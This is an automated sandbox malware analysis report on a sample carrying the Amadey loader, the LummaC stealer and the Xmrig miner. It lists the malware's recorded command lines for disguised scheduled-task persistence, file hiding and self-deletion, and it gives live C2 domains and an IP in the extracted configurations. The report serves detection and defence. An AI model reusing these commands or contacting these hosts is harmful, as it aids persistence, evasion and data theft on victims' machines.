Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1579277
MD5:76c2f75bf3efb5964c432f7661d22d58
SHA1:521badd0c5d9f85986a7845b3163b82b87c0589d
SHA256:939310706200640f603a1fb3e6528c3a4bafa87e0d610e817a7824cf2e089bc7
Tags:exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys Clipper DLL
Yara detected Amadeys stealer DLL
Yara detected LummaC Stealer
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to start a terminal service
Creates files in the system32 config directory
Drops password protected ZIP file
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Found strings related to Crypto-Mining
Hides threads from debuggers
Injects code into the Windows Explorer (explorer.exe)
Leaks process information
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
PE file contains section with special chars
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses cmd line tools excessively to alter registry or file data
Uses ping.exe to check the status of other devices and networks
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Enables security privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 76C2F75BF3EFB5964C432F7661D22D58)
    • skotes.exe (PID: 7716 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 76C2F75BF3EFB5964C432F7661D22D58)
  • skotes.exe (PID: 7324 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 76C2F75BF3EFB5964C432F7661D22D58)
    • 5f0a381314.exe (PID: 732 cmdline: "C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)
      • cmd.exe (PID: 7680 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • mode.com (PID: 7720 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)
        • 7z.exe (PID: 7548 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7564 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7584 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7700 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 3140 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7736 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7752 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 7768 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • attrib.exe (PID: 7784 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
        • in.exe (PID: 7800 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)
          • attrib.exe (PID: 7816 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
            • conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • attrib.exe (PID: 7824 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
            • conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • schtasks.exe (PID: 1196 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)
            • conhost.exe (PID: 3288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5676 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • PING.EXE (PID: 8044 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)
    • b2885fa695.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe" MD5: 15709EBA2AFAF7CC0A86CE0ABF8E53F1)
    • 72f44ceb0a.exe (PID: 2932 cmdline: "C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe" MD5: 51FF79B406CB223DD49DD4C947EC97B0)
      • Gxtuum.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe" MD5: 51FF79B406CB223DD49DD4C947EC97B0)
    • 4115805b10.exe (PID: 3248 cmdline: "C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe" MD5: 3567CB15156760B2F111512FFDBC1451)
      • graph.exe (PID: 1404 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)
    • b7c03317c9.exe (PID: 4504 cmdline: "C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe" MD5: 49FC187B211896A8D43FB7F54686B072)
    • 4cdf81e042.exe (PID: 5180 cmdline: "C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)
    • 322c3dce5b.exe (PID: 6932 cmdline: "C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)
      • conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • Intel_PTT_EK_Recertification.exe (PID: 8088 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)
    • explorer.exe (PID: 8060 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
    • powershell.exe (PID: 8024 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 4088 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)
  • Gxtuum.exe (PID: 1284 cmdline: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe MD5: 51FF79B406CB223DD49DD4C947EC97B0)
  • 4115805b10.exe (PID: 8184 cmdline: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe MD5: 3567CB15156760B2F111512FFDBC1451)
    • graph.exe (PID: 4816 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)
  • graph.exe (PID: 6148 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)
  • Intel_PTT_EK_Recertification.exe (PID: 6248 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)
    • explorer.exe (PID: 6284 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
    • powershell.exe (PID: 6360 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 6732 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Lumma Stealer, LummaC2 StealerLumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
NameDescriptionAttributionBlogpost URLsLink
AmadeyAmadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["treehoneyi.click", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "grannyejh.lat", "rapeflowwj.lat", "crosshuaht.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "rAGxSF--load"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
    sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

      Dropped Files

      SourceRuleDescriptionAuthorStrings
      C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fINDICATOR_SUSPICIOUS_IMG_Embedded_ArchiveDetects images embedding archives. Observed in TheRat RAT.ditekSHen
      • 0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
      C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].pngINDICATOR_SUSPICIOUS_IMG_Embedded_ArchiveDetects images embedding archives. Observed in TheRat RAT.ditekSHen
      • 0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\output[1].pngINDICATOR_SUSPICIOUS_IMG_Embedded_ArchiveDetects images embedding archives. Observed in TheRat RAT.ditekSHen
      • 0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
        C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
          Click to see the 1 entries

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          0000001F.00000002.2529597968.0000000001319000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            0000001F.00000002.2529597968.00000000012F9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
              00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                00000001.00000003.1713982339.0000000004AB0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                  0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                    Click to see the 23 entries

                    Unpacked PEs

                    SourceRuleDescriptionAuthorStrings
                    38.2.Gxtuum.exe.2a0000.0.unpackJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
                      37.2.Gxtuum.exe.2a0000.0.unpackJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
                        36.2.72f44ceb0a.exe.fc0000.0.unpackJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
                          36.0.72f44ceb0a.exe.fc0000.0.unpackJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
                            38.0.Gxtuum.exe.2a0000.0.unpackJoeSecurity_Amadey_3Yara detected Amadey\'s Clipper DLLJoe Security
                              Click to see the 22 entries

                              Sigma Signatures

                              System Summary

                              barindex
                              Sigma detected: CurrentVersion Autorun Keys Modification
                              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files\Windows Media Player\graph\graph.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe, ProcessId: 3248, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Graph
                              Sigma detected: Suspicious Add Scheduled Task Parent
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7800, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 1196, ProcessName: schtasks.exe
                              Sigma detected: Suspicious Schtasks From Env Var Folder
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7800, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 1196, ProcessName: schtasks.exe
                              Sigma detected: Non Interactive PowerShell Process Spawned
                              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7800, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5676, ProcessName: powershell.exe

                              Suricata Signatures

                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:29.645956+010020283713Unknown Traffic192.168.2.449805104.21.67.146443TCP
                              2024-12-21T12:15:31.331339+010020283713Unknown Traffic192.168.2.449810104.21.67.146443TCP
                              2024-12-21T12:15:33.723076+010020283713Unknown Traffic192.168.2.449816104.21.67.146443TCP
                              2024-12-21T12:15:36.309762+010020283713Unknown Traffic192.168.2.449825104.21.67.146443TCP
                              2024-12-21T12:15:38.584632+010020283713Unknown Traffic192.168.2.449833104.21.67.146443TCP
                              2024-12-21T12:15:41.921869+010020283713Unknown Traffic192.168.2.449842104.21.67.146443TCP
                              2024-12-21T12:15:44.757718+010020283713Unknown Traffic192.168.2.449853104.21.67.146443TCP
                              2024-12-21T12:15:49.178434+010020283713Unknown Traffic192.168.2.449867104.21.67.146443TCP
                              2024-12-21T12:16:07.417270+010020283713Unknown Traffic192.168.2.449925104.21.91.209443TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:30.070079+010020546531A Network Trojan was detected192.168.2.449805104.21.67.146443TCP
                              2024-12-21T12:15:32.098901+010020546531A Network Trojan was detected192.168.2.449810104.21.67.146443TCP
                              2024-12-21T12:15:50.039298+010020546531A Network Trojan was detected192.168.2.449867104.21.67.146443TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:30.070079+010020498361A Network Trojan was detected192.168.2.449805104.21.67.146443TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:32.098901+010020498121A Network Trojan was detected192.168.2.449810104.21.67.146443TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:29.753849+010020446961A Network Trojan was detected192.168.2.449804185.215.113.4380TCP
                              2024-12-21T12:15:36.095907+010020446961A Network Trojan was detected192.168.2.449822185.215.113.4380TCP
                              2024-12-21T12:15:42.520093+010020446961A Network Trojan was detected192.168.2.449843185.215.113.4380TCP
                              2024-12-21T12:15:54.822682+010020446961A Network Trojan was detected192.168.2.449886185.215.113.4380TCP
                              2024-12-21T12:16:02.497681+010020446961A Network Trojan was detected192.168.2.449911185.215.113.4380TCP
                              2024-12-21T12:16:08.323204+010020446961A Network Trojan was detected192.168.2.449930185.215.113.4380TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:42.802899+010020480941Malware Command and Control Activity Detected192.168.2.449842104.21.67.146443TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:21.480134+010028561211A Network Trojan was detected192.168.2.449786185.215.113.4380TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:06.015733+010028561471A Network Trojan was detected192.168.2.449748185.215.113.4380TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:43.527147+010028561481A Network Trojan was detected192.168.2.449849212.193.31.880TCP
                              2024-12-21T12:15:49.611956+010028561481A Network Trojan was detected192.168.2.449868212.193.31.880TCP
                              2024-12-21T12:15:55.661712+010028561481A Network Trojan was detected192.168.2.449889212.193.31.880TCP
                              2024-12-21T12:16:01.807127+010028561481A Network Trojan was detected192.168.2.449908212.193.31.880TCP
                              2024-12-21T12:16:07.847356+010028561481A Network Trojan was detected192.168.2.449926212.193.31.880TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:20.124826+010028561221A Network Trojan was detected185.215.113.4380192.168.2.449754TCP
                              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                              2024-12-21T12:15:10.736644+010028033053Unknown Traffic192.168.2.44976031.41.244.1180TCP
                              2024-12-21T12:15:22.931349+010028033053Unknown Traffic192.168.2.44978731.41.244.1180TCP
                              2024-12-21T12:15:31.202032+010028033053Unknown Traffic192.168.2.44980931.41.244.1180TCP
                              2024-12-21T12:15:37.541358+010028033053Unknown Traffic192.168.2.44982931.41.244.1180TCP
                              2024-12-21T12:15:44.021216+010028033053Unknown Traffic192.168.2.44985031.41.244.1180TCP
                              2024-12-21T12:15:56.272758+010028033053Unknown Traffic192.168.2.44989231.41.244.1180TCP
                              2024-12-21T12:16:03.944738+010028033053Unknown Traffic192.168.2.44991531.41.244.1180TCP

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus / Scanner detection for submitted sample
                              Source: file.exeAvira: detected
                              Antivirus detection for dropped file
                              Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeAvira: detection malicious, Label: HEUR/AGEN.1352802
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeAvira: detection malicious, Label: HEUR/AGEN.1352802
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                              Found malware configuration
                              Source: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmpMalware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
                              Source: 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: LummaC {"C2 url": ["treehoneyi.click", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "grannyejh.lat", "rapeflowwj.lat", "crosshuaht.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "rAGxSF--load"}
                              Multi AV Scanner detection for dropped file
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeReversingLabs: Detection: 86%
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exeReversingLabs: Detection: 55%
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exeReversingLabs: Detection: 63%
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exeReversingLabs: Detection: 56%
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exeReversingLabs: Detection: 47%
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exeReversingLabs: Detection: 27%
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeReversingLabs: Detection: 86%
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeReversingLabs: Detection: 47%
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeReversingLabs: Detection: 55%
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeReversingLabs: Detection: 63%
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeReversingLabs: Detection: 27%
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeReversingLabs: Detection: 56%
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeReversingLabs: Detection: 55%
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeReversingLabs: Detection: 55%
                              Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeReversingLabs: Detection: 69%
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeReversingLabs: Detection: 69%
                              Multi AV Scanner detection for submitted file
                              Source: file.exeVirustotal: Detection: 55%Perma Link
                              Source: file.exeReversingLabs: Detection: 55%
                              AI detected suspicious sample
                              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                              Machine Learning detection for dropped file
                              Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJoe Sandbox ML: detected
